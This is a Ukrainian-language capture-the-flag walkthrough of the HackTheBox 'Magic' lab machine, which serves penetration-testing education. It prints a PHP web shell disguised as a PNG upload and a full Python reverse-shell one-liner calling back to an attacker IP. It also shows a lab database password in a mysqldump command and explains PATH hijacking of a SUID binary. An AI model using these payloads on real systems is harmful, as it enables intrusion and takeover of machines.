13. HackTheBox. Level Medium: Прохождение Magic. Password spraying. Mysqldump и LPE через sysinfo

13 грудня 2024 1 хвилина Автор: Lady Liberty

Платформа HackTheBox пропонує чудову можливість для розвитку навичок у сфері кібербезпеки. Одним із популярних завдань є Magic, яке дозволяє пентестерам випробувати свої здібності у дослідженні вразливостей веб-додатків, підборі паролів, експлуатації сервісів та підвищенні привілеїв до рівня адміністратора. У цій статті ми розглянемо всі етапи роботи з Magic, починаючи від збору інформації та сканування портів за допомогою nmap і masscan, до створення експлойтів і підвищення привілеїв.

Покроковий гайд для пентестерів

У статті розглядається використання шелу, інтегрованого у файл зображення, пошук облікових даних через mysqldump та підвищення привілеїв за допомогою sysinfo.

Підключення до лабораторії здійснюється через VPN. З міркувань безпеки не рекомендується використовувати робочий комп’ютер або пристрій, на якому зберігаються важливі дані, оскільки під час роботи відбувається підключення до приватної мережі, де присутні користувачі з високим рівнем знань у сфері кібербезпеки.

Recon

Ця машина має IP адресу 10.10.10.185, яку додаємо в /etc/hosts.

10.10.10.185 	magic.htb

Спершу виконується сканування відкритих портів. Для пришвидшення процесу замість nmap спочатку використовується masscan. Цей інструмент сканує всі TCP та UDP порти через інтерфейс tun0 зі швидкістю 500 пакетів на секунду.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.185       --rate=500

Тепер для отримання більш детальної інформації про послуги, що працюють на портах, запустимо сканування з опцією -А.

nmap -A magic.htb -p22,80

На хості відкрито 2 порти: 22 – служба SSH, і 80 – веб-сервер. Як завжди, дивимося Інтернет.

Помічаємо посилання на сторінку авторизації. Насамперед пробуємо один спосіб обходу авторизації, і знаходимо вірний.

На сторінці виявляється форма завантаження зображень. Для експлуатації уразливості додається PHP-код у файл. Перші чотири байти зображення залишаються незмінними, а до них дописується потрібний код. Файл зберігається з подвійним розширенням, оскільки сервер під час завантаження перевіряє лише останнє розширення, а під час виконання — перше.

python -c "print('\x89\x50\x4e\x47' + '<?php echo system($_GET[\'cmd\']); ?>')" > 1.php.png

Однак сервер виявляє спробу експлуатації, і завантаження завершується невдачею.

Спробуємо обхитрити, і сховаємо код у коментарі.

Попри це, після спроби завантаження сервер повідомляє про успішне завершення процесу.

Файл завантажується, але залишається питання, куди саме. Для пошуку розміщення файлу проводиться перевірка директорій. Оскільки сайт має просту структуру, а часу було достатньо, використання gobuster і великих словників не знадобилося. Замість цього запускається dirb для перегляду доступних директорій.

Швидше за все ми знайшли директорію, куди завантажуються файли. Тепер звернемося до нашого файлу, і як параметр передамо команду ls.

І вона виконана!

Entry Point

Кидаємо реверс шелл як параметр.

http://10.10.10.185/images/uploads/me.php.jpg?cmd=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.15.60",4321));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

І отримуємо бекконект на 4321 порт.

В робочій директорії знаходимо файл для роботи з базою даних.

В цьому файлі знаходимо пароль користувача.

При цьому виявляється, що знайдений користувач існує в системі. Однак спроба змінити користувача завершується невдачею.

USER

Зважаючи на те, що це пароль від бази даних, він, ймовірно, пов’язаний з MySQL. Однак спроби працювати безпосередньо з MySQL або mysqladmin виявилися невдалими. Тоді було вирішено переглянути всі доступні програми, пов’язані з MySQL.

Успішно вдалося використати mysqldump. Під час підключення за допомогою цього інструмента вдається знайти пароль.

mysqldump -u theseus -p iamkingtheseus Magic

Тепер вдало змінюємо користувача і отримуємо прапор користувача.

ROOT

Для спрощення роботи були згенеровані SSH-ключі за допомогою ssh-keygen. Публічний ключ було записано у файл ~/.ssh/authorized_keys, після чого за допомогою приватного ключа виконано підключення по SSH. Далі на віддалений хост завантажується утиліта LinPEAS, яка запускається для повного аудиту системи. Після аналізу отриманого висновку увагу привернули файли з установленим бітом SUID, які дозволяють виконувати команди від імені root.

Було виявлено програму sysinfo. Пошук інформації про неї не дав результатів щодо можливості виконання команд. Тоді виникла ідея перевірити, чи використовує sysinfo інші програми, які потенційно можна підмінити. Для цього програму було запущено під ltrace для відстеження викликів бібліотечних функцій і залежностей.

Таким чином, sysinfo запускає програми lshw, fdisk та cat. Докладніше про вектор LPE. В операційній системі є змінна оточення PATH, яка зберігає шляхи.

Коли викликається команда, наприклад, ls або cd, система послідовно шукає відповідні файли в каталогах, зазначених у змінній PATH. Якщо на початку PATH додати власний каталог і розмістити там змінену версію команди (наприклад, ls або cat), то буде виконана саме ця програма.

Цей принцип вирішено перевірити на команді fdisk. Замість того, щоб запускати реверс-шел, було вирішено створити скрипт, який скопіює SSH-ключ користувача root у відповідний файл для авторизації. Це дозволить підключитися до root-акаунта через SSH так само, як до звичайного користувача.

Наприклад викличемо fdisk. Як можна спостерігати, викликаний легітимний fdisk.

Додаємо шлях у змінну оточення PATH.

Тепер система шукатиме fdisk спочатку в /tmp/123.

Запустимо sysinfo.

У результаті виконання виявляється помилка через відсутність директорії .ssh у root. Скрипт було модифіковано, щоб він спочатку створював необхідну директорію, а потім копіював SSH-ключ. Після повторного виконання sysinfo помилок у роботі fdisk не спостерігається.

Далі здійснюється підключення через SSH під обліковим записом root, після чого отримується фінальний прапор.

Висновок

Стаття демонструє покроковий підхід до вирішення завдання на платформі HackTheBox. У ній описано використання уразливостей для отримання доступу до системи через завантаження файлу з PHP-кодом, пошук облікових даних через mysqldump, а також підвищення привілеїв до рівня root за допомогою програми sysinfo і підміни команди через зміну змінної PATH. Матеріал є чудовим прикладом практичного застосування методів пентестингу, включаючи аналіз, експлуатацію уразливостей і ескалацію привілеїв.
Інші статті по темі
Знайшли помилку?
Якщо ви знайшли помилку, зробіть скріншот і надішліть його боту.